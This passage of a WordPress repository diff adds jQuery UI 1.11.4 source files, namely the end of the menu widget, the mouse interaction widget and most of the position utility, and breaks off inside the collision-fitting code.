+				// If not, activate the first item
+				var item = this.active || this.element.find( this.options.items ).eq( 0 );
+
+				if ( !keepActiveItem ) {
+					this.focus( event, item );
+				}
+			},
+			blur: function( event ) {
+				this._delay(function() {
+					if ( !$.contains( this.element[0], this.document[0].activeElement ) ) {
+						this.collapseAll( event );
+					}
+				});
+			},
+			keydown: "_keydown"
+		});
+
+		this.refresh();
+
+		// Clicks outside of a menu collapse any open menus
+		this._on( this.document, {
+			click: function( event ) {
+				if ( this._closeOnDocumentClick( event ) ) {
+					this.collapseAll( event );
+				}
+
+				// Reset the mouseHandled flag
+				this.mouseHandled = false;
+			}
+		});
+	},
+
+	_destroy: function() {
+		// Destroy (sub)menus
+		this.element
+			.removeAttr( "aria-activedescendant" )
+			.find( ".ui-menu" ).addBack()
+				.removeClass( "ui-menu ui-widget ui-widget-content ui-menu-icons ui-front" )
+				.removeAttr( "role" )
+				.removeAttr( "tabIndex" )
+				.removeAttr( "aria-labelledby" )
+				.removeAttr( "aria-expanded" )
+				.removeAttr( "aria-hidden" )
+				.removeAttr( "aria-disabled" )
+				.removeUniqueId()
+				.show();
+
+		// Destroy menu items
+		this.element.find( ".ui-menu-item" )
+			.removeClass( "ui-menu-item" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-disabled" )
+			.removeUniqueId()
+			.removeClass( "ui-state-hover" )
+			.removeAttr( "tabIndex" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-haspopup" )
+			.children().each( function() {
+				var elem = $( this );
+				if ( elem.data( "ui-menu-submenu-carat" ) ) {
+					elem.remove();
+				}
+			});
+
+		// Destroy menu dividers
+		this.element.find( ".ui-menu-divider" ).removeClass( "ui-menu-divider ui-widget-content" );
+	},
+
+	_keydown: function( event ) {
+		var match, prev, character, skip,
+			preventDefault = true;
+
+		switch ( event.keyCode ) {
+		case $.ui.keyCode.PAGE_UP:
+			this.previousPage( event );
+			break;
+		case $.ui.keyCode.PAGE_DOWN:
+			this.nextPage( event );
+			break;
+		case $.ui.keyCode.HOME:
+			this._move( "first", "first", event );
+			break;
+		case $.ui.keyCode.END:
+			this._move( "last", "last", event );
+			break;
+		case $.ui.keyCode.UP:
+			this.previous( event );
+			break;
+		case $.ui.keyCode.DOWN:
+			this.next( event );
+			break;
+		case $.ui.keyCode.LEFT:
+			this.collapse( event );
+			break;
+		case $.ui.keyCode.RIGHT:
+			if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
+				this.expand( event );
+			}
+			break;
+		case $.ui.keyCode.ENTER:
+		case $.ui.keyCode.SPACE:
+			this._activate( event );
+			break;
+		case $.ui.keyCode.ESCAPE:
+			this.collapse( event );
+			break;
+		default:
+			preventDefault = false;
+			prev = this.previousFilter || "";
+			character = String.fromCharCode( event.keyCode );
+			skip = false;
+
+			clearTimeout( this.filterTimer );
+
+			if ( character === prev ) {
+				skip = true;
+			} else {
+				character = prev + character;
+			}
+
+			match = this._filterMenuItems( character );
+			match = skip && match.index( this.active.next() ) !== -1 ?
+				this.active.nextAll( ".ui-menu-item" ) :
+				match;
+
+			// If no matches on the current filter, reset to the last character pressed
+			// to move down the menu to the first item that starts with that character
+			if ( !match.length ) {
+				character = String.fromCharCode( event.keyCode );
+				match = this._filterMenuItems( character );
+			}
+
+			if ( match.length ) {
+				this.focus( event, match );
+				this.previousFilter = character;
+				this.filterTimer = this._delay(function() {
+					delete this.previousFilter;
+				}, 1000 );
+			} else {
+				delete this.previousFilter;
+			}
+		}
+
+		if ( preventDefault ) {
+			event.preventDefault();
+		}
+	},
+
+	_activate: function( event ) {
+		if ( !this.active.is( ".ui-state-disabled" ) ) {
+			if ( this.active.is( "[aria-haspopup='true']" ) ) {
+				this.expand( event );
+			} else {
+				this.select( event );
+			}
+		}
+	},
+
+	refresh: function() {
+		var menus, items,
+			that = this,
+			icon = this.options.icons.submenu,
+			submenus = this.element.find( this.options.menus );
+
+		this.element.toggleClass( "ui-menu-icons", !!this.element.find( ".ui-icon" ).length );
+
+		// Initialize nested menus
+		submenus.filter( ":not(.ui-menu)" )
+			.addClass( "ui-menu ui-widget ui-widget-content ui-front" )
+			.hide()
+			.attr({
+				role: this.options.role,
+				"aria-hidden": "true",
+				"aria-expanded": "false"
+			})
+			.each(function() {
+				var menu = $( this ),
+					item = menu.parent(),
+					submenuCarat = $( "<span>" )
+						.addClass( "ui-menu-icon ui-icon " + icon )
+						.data( "ui-menu-submenu-carat", true );
+
+				item
+					.attr( "aria-haspopup", "true" )
+					.prepend( submenuCarat );
+				menu.attr( "aria-labelledby", item.attr( "id" ) );
+			});
+
+		menus = submenus.add( this.element );
+		items = menus.find( this.options.items );
+
+		// Initialize menu-items containing spaces and/or dashes only as dividers
+		items.not( ".ui-menu-item" ).each(function() {
+			var item = $( this );
+			if ( that._isDivider( item ) ) {
+				item.addClass( "ui-widget-content ui-menu-divider" );
+			}
+		});
+
+		// Don't refresh list items that are already adapted
+		items.not( ".ui-menu-item, .ui-menu-divider" )
+			.addClass( "ui-menu-item" )
+			.uniqueId()
+			.attr({
+				tabIndex: -1,
+				role: this._itemRole()
+			});
+
+		// Add aria-disabled attribute to any disabled menu item
+		items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
+
+		// If the active item has been removed, blur the menu
+		if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+			this.blur();
+		}
+	},
+
+	_itemRole: function() {
+		return {
+			menu: "menuitem",
+			listbox: "option"
+		}[ this.options.role ];
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "icons" ) {
+			this.element.find( ".ui-menu-icon" )
+				.removeClass( this.options.icons.submenu )
+				.addClass( value.submenu );
+		}
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+		}
+		this._super( key, value );
+	},
+
+	focus: function( event, item ) {
+		var nested, focused;
+		this.blur( event, event && event.type === "focus" );
+
+		this._scrollIntoView( item );
+
+		this.active = item.first();
+		focused = this.active.addClass( "ui-state-focus" ).removeClass( "ui-state-active" );
+		// Only update aria-activedescendant if there's a role
+		// otherwise we assume focus is managed elsewhere
+		if ( this.options.role ) {
+			this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
+		}
+
+		// Highlight active parent menu item, if any
+		this.active
+			.parent()
+			.closest( ".ui-menu-item" )
+			.addClass( "ui-state-active" );
+
+		if ( event && event.type === "keydown" ) {
+			this._close();
+		} else {
+			this.timer = this._delay(function() {
+				this._close();
+			}, this.delay );
+		}
+
+		nested = item.children( ".ui-menu" );
+		if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
+			this._startOpening(nested);
+		}
+		this.activeMenu = item.parent();
+
+		this._trigger( "focus", event, { item: item } );
+	},
+
+	_scrollIntoView: function( item ) {
+		var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
+		if ( this._hasScroll() ) {
+			borderTop = parseFloat( $.css( this.activeMenu[0], "borderTopWidth" ) ) || 0;
+			paddingTop = parseFloat( $.css( this.activeMenu[0], "paddingTop" ) ) || 0;
+			offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
+			scroll = this.activeMenu.scrollTop();
+			elementHeight = this.activeMenu.height();
+			itemHeight = item.outerHeight();
+
+			if ( offset < 0 ) {
+				this.activeMenu.scrollTop( scroll + offset );
+			} else if ( offset + itemHeight > elementHeight ) {
+				this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
+			}
+		}
+	},
+
+	blur: function( event, fromFocus ) {
+		if ( !fromFocus ) {
+			clearTimeout( this.timer );
+		}
+
+		if ( !this.active ) {
+			return;
+		}
+
+		this.active.removeClass( "ui-state-focus" );
+		this.active = null;
+
+		this._trigger( "blur", event, { item: this.active } );
+	},
+
+	_startOpening: function( submenu ) {
+		clearTimeout( this.timer );
+
+		// Don't open if already open fixes a Firefox bug that caused a .5 pixel
+		// shift in the submenu position when mousing over the carat icon
+		if ( submenu.attr( "aria-hidden" ) !== "true" ) {
+			return;
+		}
+
+		this.timer = this._delay(function() {
+			this._close();
+			this._open( submenu );
+		}, this.delay );
+	},
+
+	_open: function( submenu ) {
+		var position = $.extend({
+			of: this.active
+		}, this.options.position );
+
+		clearTimeout( this.timer );
+		this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
+			.hide()
+			.attr( "aria-hidden", "true" );
+
+		submenu
+			.show()
+			.removeAttr( "aria-hidden" )
+			.attr( "aria-expanded", "true" )
+			.position( position );
+	},
+
+	collapseAll: function( event, all ) {
+		clearTimeout( this.timer );
+		this.timer = this._delay(function() {
+			// If we were passed an event, look for the submenu that contains the event
+			var currentMenu = all ? this.element :
+				$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
+
+			// If we found no valid submenu ancestor, use the main menu to close all sub menus anyway
+			if ( !currentMenu.length ) {
+				currentMenu = this.element;
+			}
+
+			this._close( currentMenu );
+
+			this.blur( event );
+			this.activeMenu = currentMenu;
+		}, this.delay );
+	},
+
+	// With no arguments, closes the currently active menu - if nothing is active
+	// it closes all menus.  If passed an argument, it will search for menus BELOW
+	_close: function( startMenu ) {
+		if ( !startMenu ) {
+			startMenu = this.active ? this.active.parent() : this.element;
+		}
+
+		startMenu
+			.find( ".ui-menu" )
+				.hide()
+				.attr( "aria-hidden", "true" )
+				.attr( "aria-expanded", "false" )
+			.end()
+			.find( ".ui-state-active" ).not( ".ui-state-focus" )
+				.removeClass( "ui-state-active" );
+	},
+
+	_closeOnDocumentClick: function( event ) {
+		return !$( event.target ).closest( ".ui-menu" ).length;
+	},
+
+	_isDivider: function( item ) {
+
+		// Match hyphen, em dash, en dash
+		return !/[^\-\u2014\u2013\s]/.test( item.text() );
+	},
+
+	collapse: function( event ) {
+		var newItem = this.active &&
+			this.active.parent().closest( ".ui-menu-item", this.element );
+		if ( newItem && newItem.length ) {
+			this._close();
+			this.focus( event, newItem );
+		}
+	},
+
+	expand: function( event ) {
+		var newItem = this.active &&
+			this.active
+				.children( ".ui-menu " )
+				.find( this.options.items )
+				.first();
+
+		if ( newItem && newItem.length ) {
+			this._open( newItem.parent() );
+
+			// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
+			this._delay(function() {
+				this.focus( event, newItem );
+			});
+		}
+	},
+
+	next: function( event ) {
+		this._move( "next", "first", event );
+	},
+
+	previous: function( event ) {
+		this._move( "prev", "last", event );
+	},
+
+	isFirstItem: function() {
+		return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
+	},
+
+	isLastItem: function() {
+		return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
+	},
+
+	_move: function( direction, filter, event ) {
+		var next;
+		if ( this.active ) {
+			if ( direction === "first" || direction === "last" ) {
+				next = this.active
+					[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
+					.eq( -1 );
+			} else {
+				next = this.active
+					[ direction + "All" ]( ".ui-menu-item" )
+					.eq( 0 );
+			}
+		}
+		if ( !next || !next.length || !this.active ) {
+			next = this.activeMenu.find( this.options.items )[ filter ]();
+		}
+
+		this.focus( event, next );
+	},
+
+	nextPage: function( event ) {
+		var item, base, height;
+
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isLastItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.nextAll( ".ui-menu-item" ).each(function() {
+				item = $( this );
+				return item.offset().top - base - height < 0;
+			});
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items )
+				[ !this.active ? "first" : "last" ]() );
+		}
+	},
+
+	previousPage: function( event ) {
+		var item, base, height;
+		if ( !this.active ) {
+			this.next( event );
+			return;
+		}
+		if ( this.isFirstItem() ) {
+			return;
+		}
+		if ( this._hasScroll() ) {
+			base = this.active.offset().top;
+			height = this.element.height();
+			this.active.prevAll( ".ui-menu-item" ).each(function() {
+				item = $( this );
+				return item.offset().top - base + height > 0;
+			});
+
+			this.focus( event, item );
+		} else {
+			this.focus( event, this.activeMenu.find( this.options.items ).first() );
+		}
+	},
+
+	_hasScroll: function() {
+		return this.element.outerHeight() < this.element.prop( "scrollHeight" );
+	},
+
+	select: function( event ) {
+		// TODO: It should never be possible to not have an active item at this
+		// point, but the tests don't trigger mouseenter before click.
+		this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
+		var ui = { item: this.active };
+		if ( !this.active.has( ".ui-menu" ).length ) {
+			this.collapseAll( event, true );
+		}
+		this._trigger( "select", event, ui );
+	},
+
+	_filterMenuItems: function(character) {
+		var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
+			regex = new RegExp( "^" + escapedCharacter, "i" );
+
+		return this.activeMenu
+			.find( this.options.items )
+
+			// Only match on items, not dividers or other content (#10571)
+			.filter( ".ui-menu-item" )
+			.filter(function() {
+				return regex.test( $.trim( $( this ).text() ) );
+			});
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/mouse.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/mouse.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/mouse.js	(revision 56912)
@@ -0,0 +1,199 @@
+/*!
+ * jQuery UI Mouse 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/mouse/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var mouseHandled = false;
+$( document ).mouseup( function() {
+	mouseHandled = false;
+});
+
+return $.widget("ui.mouse", {
+	version: "1.11.4",
+	options: {
+		cancel: "input,textarea,button,select,option",
+		distance: 1,
+		delay: 0
+	},
+	_mouseInit: function() {
+		var that = this;
+
+		this.element
+			.bind("mousedown." + this.widgetName, function(event) {
+				return that._mouseDown(event);
+			})
+			.bind("click." + this.widgetName, function(event) {
+				if (true === $.data(event.target, that.widgetName + ".preventClickEvent")) {
+					$.removeData(event.target, that.widgetName + ".preventClickEvent");
+					event.stopImmediatePropagation();
+					return false;
+				}
+			});
+
+		this.started = false;
+	},
+
+	// TODO: make sure destroying one instance of mouse doesn't mess with
+	// other instances of mouse
+	_mouseDestroy: function() {
+		this.element.unbind("." + this.widgetName);
+		if ( this._mouseMoveDelegate ) {
+			this.document
+				.unbind("mousemove." + this.widgetName, this._mouseMoveDelegate)
+				.unbind("mouseup." + this.widgetName, this._mouseUpDelegate);
+		}
+	},
+
+	_mouseDown: function(event) {
+		// don't let more than one widget handle mouseStart
+		if ( mouseHandled ) {
+			return;
+		}
+
+		this._mouseMoved = false;
+
+		// we may have missed mouseup (out of window)
+		(this._mouseStarted && this._mouseUp(event));
+
+		this._mouseDownEvent = event;
+
+		var that = this,
+			btnIsLeft = (event.which === 1),
+			// event.target.nodeName works around a bug in IE 8 with
+			// disabled inputs (#7620)
+			elIsCancel = (typeof this.options.cancel === "string" && event.target.nodeName ? $(event.target).closest(this.options.cancel).length : false);
+		if (!btnIsLeft || elIsCancel || !this._mouseCapture(event)) {
+			return true;
+		}
+
+		this.mouseDelayMet = !this.options.delay;
+		if (!this.mouseDelayMet) {
+			this._mouseDelayTimer = setTimeout(function() {
+				that.mouseDelayMet = true;
+			}, this.options.delay);
+		}
+
+		if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+			this._mouseStarted = (this._mouseStart(event) !== false);
+			if (!this._mouseStarted) {
+				event.preventDefault();
+				return true;
+			}
+		}
+
+		// Click event may never have fired (Gecko & Opera)
+		if (true === $.data(event.target, this.widgetName + ".preventClickEvent")) {
+			$.removeData(event.target, this.widgetName + ".preventClickEvent");
+		}
+
+		// these delegates are required to keep context
+		this._mouseMoveDelegate = function(event) {
+			return that._mouseMove(event);
+		};
+		this._mouseUpDelegate = function(event) {
+			return that._mouseUp(event);
+		};
+
+		this.document
+			.bind( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.bind( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		event.preventDefault();
+
+		mouseHandled = true;
+		return true;
+	},
+
+	_mouseMove: function(event) {
+		// Only check for mouseups outside the document if you've moved inside the document
+		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
+		// fire a mousemove event if content is placed under the cursor. See #7778
+		// Support: IE <9
+		if ( this._mouseMoved ) {
+			// IE mouseup check - mouseup happened when mouse was out of window
+			if ($.ui.ie && ( !document.documentMode || document.documentMode < 9 ) && !event.button) {
+				return this._mouseUp(event);
+
+			// Iframe mouseup check - mouseup occurred in another document
+			} else if ( !event.which ) {
+				return this._mouseUp( event );
+			}
+		}
+
+		if ( event.which || event.button ) {
+			this._mouseMoved = true;
+		}
+
+		if (this._mouseStarted) {
+			this._mouseDrag(event);
+			return event.preventDefault();
+		}
+
+		if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+			this._mouseStarted =
+				(this._mouseStart(this._mouseDownEvent, event) !== false);
+			(this._mouseStarted ? this._mouseDrag(event) : this._mouseUp(event));
+		}
+
+		return !this._mouseStarted;
+	},
+
+	_mouseUp: function(event) {
+		this.document
+			.unbind( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.unbind( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		if (this._mouseStarted) {
+			this._mouseStarted = false;
+
+			if (event.target === this._mouseDownEvent.target) {
+				$.data(event.target, this.widgetName + ".preventClickEvent", true);
+			}
+
+			this._mouseStop(event);
+		}
+
+		mouseHandled = false;
+		return false;
+	},
+
+	_mouseDistanceMet: function(event) {
+		return (Math.max(
+				Math.abs(this._mouseDownEvent.pageX - event.pageX),
+				Math.abs(this._mouseDownEvent.pageY - event.pageY)
+			) >= this.options.distance
+		);
+	},
+
+	_mouseDelayMet: function(/* event */) {
+		return this.mouseDelayMet;
+	},
+
+	// These are placeholder methods, to be overriden by extending plugin
+	_mouseStart: function(/* event */) {},
+	_mouseDrag: function(/* event */) {},
+	_mouseStop: function(/* event */) {},
+	_mouseCapture: function(/* event */) { return true; }
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/position.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/position.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/position.js	(revision 56912)
@@ -0,0 +1,517 @@
+/*!
+ * jQuery UI Position 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/position/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+(function() {
+
+$.ui = $.ui || {};
+
+var cachedScrollbarWidth, supportsOffsetFractions,
+	max = Math.max,
+	abs = Math.abs,
+	round = Math.round,
+	rhorizontal = /left|center|right/,
+	rvertical = /top|center|bottom/,
+	roffset = /[\+\-]\d+(\.[\d]+)?%?/,
+	rposition = /^\w+/,
+	rpercent = /%$/,
+	_position = $.fn.position;
+
+function getOffsets( offsets, width, height ) {
+	return [
+		parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
+		parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
+	];
+}
+
+function parseCss( element, property ) {
+	return parseInt( $.css( element, property ), 10 ) || 0;
+}
+
+function getDimensions( elem ) {
+	var raw = elem[0];
+	if ( raw.nodeType === 9 ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: 0, left: 0 }
+		};
+	}
+	if ( $.isWindow( raw ) ) {
+		return {
+			width: elem.width(),
+			height: elem.height(),
+			offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
+		};
+	}
+	if ( raw.preventDefault ) {
+		return {
+			width: 0,
+			height: 0,
+			offset: { top: raw.pageY, left: raw.pageX }
+		};
+	}
+	return {
+		width: elem.outerWidth(),
+		height: elem.outerHeight(),
+		offset: elem.offset()
+	};
+}
+
+$.position = {
+	scrollbarWidth: function() {
+		if ( cachedScrollbarWidth !== undefined ) {
+			return cachedScrollbarWidth;
+		}
+		var w1, w2,
+			div = $( "<div style='display:block;position:absolute;width:50px;height:50px;overflow:hidden;'><div style='height:100px;width:auto;'></div></div>" ),
+			innerDiv = div.children()[0];
+
+		$( "body" ).append( div );
+		w1 = innerDiv.offsetWidth;
+		div.css( "overflow", "scroll" );
+
+		w2 = innerDiv.offsetWidth;
+
+		if ( w1 === w2 ) {
+			w2 = div[0].clientWidth;
+		}
+
+		div.remove();
+
+		return (cachedScrollbarWidth = w1 - w2);
+	},
+	getScrollInfo: function( within ) {
+		var overflowX = within.isWindow || within.isDocument ? "" :
+				within.element.css( "overflow-x" ),
+			overflowY = within.isWindow || within.isDocument ? "" :
+				within.element.css( "overflow-y" ),
+			hasOverflowX = overflowX === "scroll" ||
+				( overflowX === "auto" && within.width < within.element[0].scrollWidth ),
+			hasOverflowY = overflowY === "scroll" ||
+				( overflowY === "auto" && within.height < within.element[0].scrollHeight );
+		return {
+			width: hasOverflowY ? $.position.scrollbarWidth() : 0,
+			height: hasOverflowX ? $.position.scrollbarWidth() : 0
+		};
+	},
+	getWithinInfo: function( element ) {
+		var withinElement = $( element || window ),
+			isWindow = $.isWindow( withinElement[0] ),
+			isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9;
+		return {
+			element: withinElement,
+			isWindow: isWindow,
+			isDocument: isDocument,
+			offset: withinElement.offset() || { left: 0, top: 0 },
+			scrollLeft: withinElement.scrollLeft(),
+			scrollTop: withinElement.scrollTop(),
+
+			// support: jQuery 1.6.x
+			// jQuery 1.6 doesn't support .outerWidth/Height() on documents or windows
+			width: isWindow || isDocument ? withinElement.width() : withinElement.outerWidth(),
+			height: isWindow || isDocument ? withinElement.height() : withinElement.outerHeight()
+		};
+	}
+};
+
+$.fn.position = function( options ) {
+	if ( !options || !options.of ) {
+		return _position.apply( this, arguments );
+	}
+
+	// make a copy, we don't want to modify arguments
+	options = $.extend( {}, options );
+
+	var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,
+		target = $( options.of ),
+		within = $.position.getWithinInfo( options.within ),
+		scrollInfo = $.position.getScrollInfo( within ),
+		collision = ( options.collision || "flip" ).split( " " ),
+		offsets = {};
+
+	dimensions = getDimensions( target );
+	if ( target[0].preventDefault ) {
+		// force left top to allow flipping
+		options.at = "left top";
+	}
+	targetWidth = dimensions.width;
+	targetHeight = dimensions.height;
+	targetOffset = dimensions.offset;
+	// clone to reuse original targetOffset later
+	basePosition = $.extend( {}, targetOffset );
+
+	// force my and at to have valid horizontal and vertical positions
+	// if a value is missing or invalid, it will be converted to center
+	$.each( [ "my", "at" ], function() {
+		var pos = ( options[ this ] || "" ).split( " " ),
+			horizontalOffset,
+			verticalOffset;
+
+		if ( pos.length === 1) {
+			pos = rhorizontal.test( pos[ 0 ] ) ?
+				pos.concat( [ "center" ] ) :
+				rvertical.test( pos[ 0 ] ) ?
+					[ "center" ].concat( pos ) :
+					[ "center", "center" ];
+		}
+		pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
+		pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";
+
+		// calculate offsets
+		horizontalOffset = roffset.exec( pos[ 0 ] );
+		verticalOffset = roffset.exec( pos[ 1 ] );
+		offsets[ this ] = [
+			horizontalOffset ? horizontalOffset[ 0 ] : 0,
+			verticalOffset ? verticalOffset[ 0 ] : 0
+		];
+
+		// reduce to just the positions without the offsets
+		options[ this ] = [
+			rposition.exec( pos[ 0 ] )[ 0 ],
+			rposition.exec( pos[ 1 ] )[ 0 ]
+		];
+	});
+
+	// normalize collision option
+	if ( collision.length === 1 ) {
+		collision[ 1 ] = collision[ 0 ];
+	}
+
+	if ( options.at[ 0 ] === "right" ) {
+		basePosition.left += targetWidth;
+	} else if ( options.at[ 0 ] === "center" ) {
+		basePosition.left += targetWidth / 2;
+	}
+
+	if ( options.at[ 1 ] === "bottom" ) {
+		basePosition.top += targetHeight;
+	} else if ( options.at[ 1 ] === "center" ) {
+		basePosition.top += targetHeight / 2;
+	}
+
+	atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
+	basePosition.left += atOffset[ 0 ];
+	basePosition.top += atOffset[ 1 ];
+
+	return this.each(function() {
+		var collisionPosition, using,
+			elem = $( this ),
+			elemWidth = elem.outerWidth(),
+			elemHeight = elem.outerHeight(),
+			marginLeft = parseCss( this, "marginLeft" ),
+			marginTop = parseCss( this, "marginTop" ),
+			collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width,
+			collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height,
+			position = $.extend( {}, basePosition ),
+			myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );
+
+		if ( options.my[ 0 ] === "right" ) {
+			position.left -= elemWidth;
+		} else if ( options.my[ 0 ] === "center" ) {
+			position.left -= elemWidth / 2;
+		}
+
+		if ( options.my[ 1 ] === "bottom" ) {
+			position.top -= elemHeight;
+		} else if ( options.my[ 1 ] === "center" ) {
+			position.top -= elemHeight / 2;
+		}
+
+		position.left += myOffset[ 0 ];
+		position.top += myOffset[ 1 ];
+
+		// if the browser doesn't support fractions, then round for consistent results
+		if ( !supportsOffsetFractions ) {
+			position.left = round( position.left );
+			position.top = round( position.top );
+		}
+
+		collisionPosition = {
+			marginLeft: marginLeft,
+			marginTop: marginTop
+		};
+
+		$.each( [ "left", "top" ], function( i, dir ) {
+			if ( $.ui.position[ collision[ i ] ] ) {
+				$.ui.position[ collision[ i ] ][ dir ]( position, {
+					targetWidth: targetWidth,
+					targetHeight: targetHeight,
+					elemWidth: elemWidth,
+					elemHeight: elemHeight,
+					collisionPosition: collisionPosition,
+					collisionWidth: collisionWidth,
+					collisionHeight: collisionHeight,
+					offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
+					my: options.my,
+					at: options.at,
+					within: within,
+					elem: elem
+				});
+			}
+		});
+
+		if ( options.using ) {
+			// adds feedback as second argument to using callback, if present
+			using = function( props ) {
+				var left = targetOffset.left - position.left,
+					right = left + targetWidth - elemWidth,
+					top = targetOffset.top - position.top,
+					bottom = top + targetHeight - elemHeight,
+					feedback = {
+						target: {
+							element: target,
+							left: targetOffset.left,
+							top: targetOffset.top,
+							width: targetWidth,
+							height: targetHeight
+						},
+						element: {
+							element: elem,
+							left: position.left,
+							top: position.top,
+							width: elemWidth,
+							height: elemHeight
+						},
+						horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
+						vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
+					};
+				if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
+					feedback.horizontal = "center";
+				}
+				if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
+					feedback.vertical = "middle";
+				}
+				if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
+					feedback.important = "horizontal";
+				} else {
+					feedback.important = "vertical";
+				}
+				options.using.call( this, props, feedback );
+			};
+		}
+
+		elem.offset( $.extend( position, { using: using } ) );
+	});
+};
+
+$.ui.position = {
+	fit: {
+		left: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
+				outerWidth = within.width,
+				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
+				overLeft = withinOffset - collisionPosLeft,
+				overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
+				newOverRight;
+
+			// element is wider than within
+			if ( data.collisionWidth > outerWidth ) {
+				// element is initially over the left side of within
+				if ( overLeft > 0 && overRight <= 0 ) {
+					newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset;
+					position.left += overLeft - newOverRight;
+				// element is initially over right side of within
+				} else if ( overRight > 0 && overLeft <= 0 ) {
+					position.left = withinOffset;
+				// element is initially over both left and right sides of within
+				} else {
+					if ( overLeft > overRight ) {
+						position.left = withinOffset + outerWidth - data.collisionWidth;
+					} else {
+						position.left = withinOffset;
+					}
+				}
+			// too far left -> align with left edge
+			} else if ( overLeft > 0 ) {
+				position.left += overLeft;
+			// too far right -> align with right edge
+			} else if ( overRight > 0 ) {
+				position.left -= overRight;
+			// adjust based on position and margin
+			} else {
+				position.left = max( position.left - collisionPosLeft, position.left );
+			}
+		},
+		top: function( position, data ) {
+			var within = data.within,
+				withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
+				outerHeight = data.within.height,
+				collisionPosTop = position.top - data.collisionPosition.marginTop,
+				overTop = withinOffset - collisionPosTop,
+				overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
+				newOverBottom;
+
+			// element is taller than within
+			if ( data.collisionHeight > outerHeight ) {
+				// element is initially over the top of within
+				if ( overTop > 0 && overBottom <= 0 ) {
+					newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset;
+					position.top += overTop - newOverBottom;
+				// element is initially over bottom of within
+				} else if ( overBottom > 0 && overTop <= 0 ) {
+					position.top = withinOffset;
+				// element is initially over both top and bottom of within
+				} else {
+					if ( overTop > overBottom ) {
+						position.top = withinOffset + outerHeight - data.collisionHeight;
+					} else {
+						position.top = withinOffset;
+					}
+				}
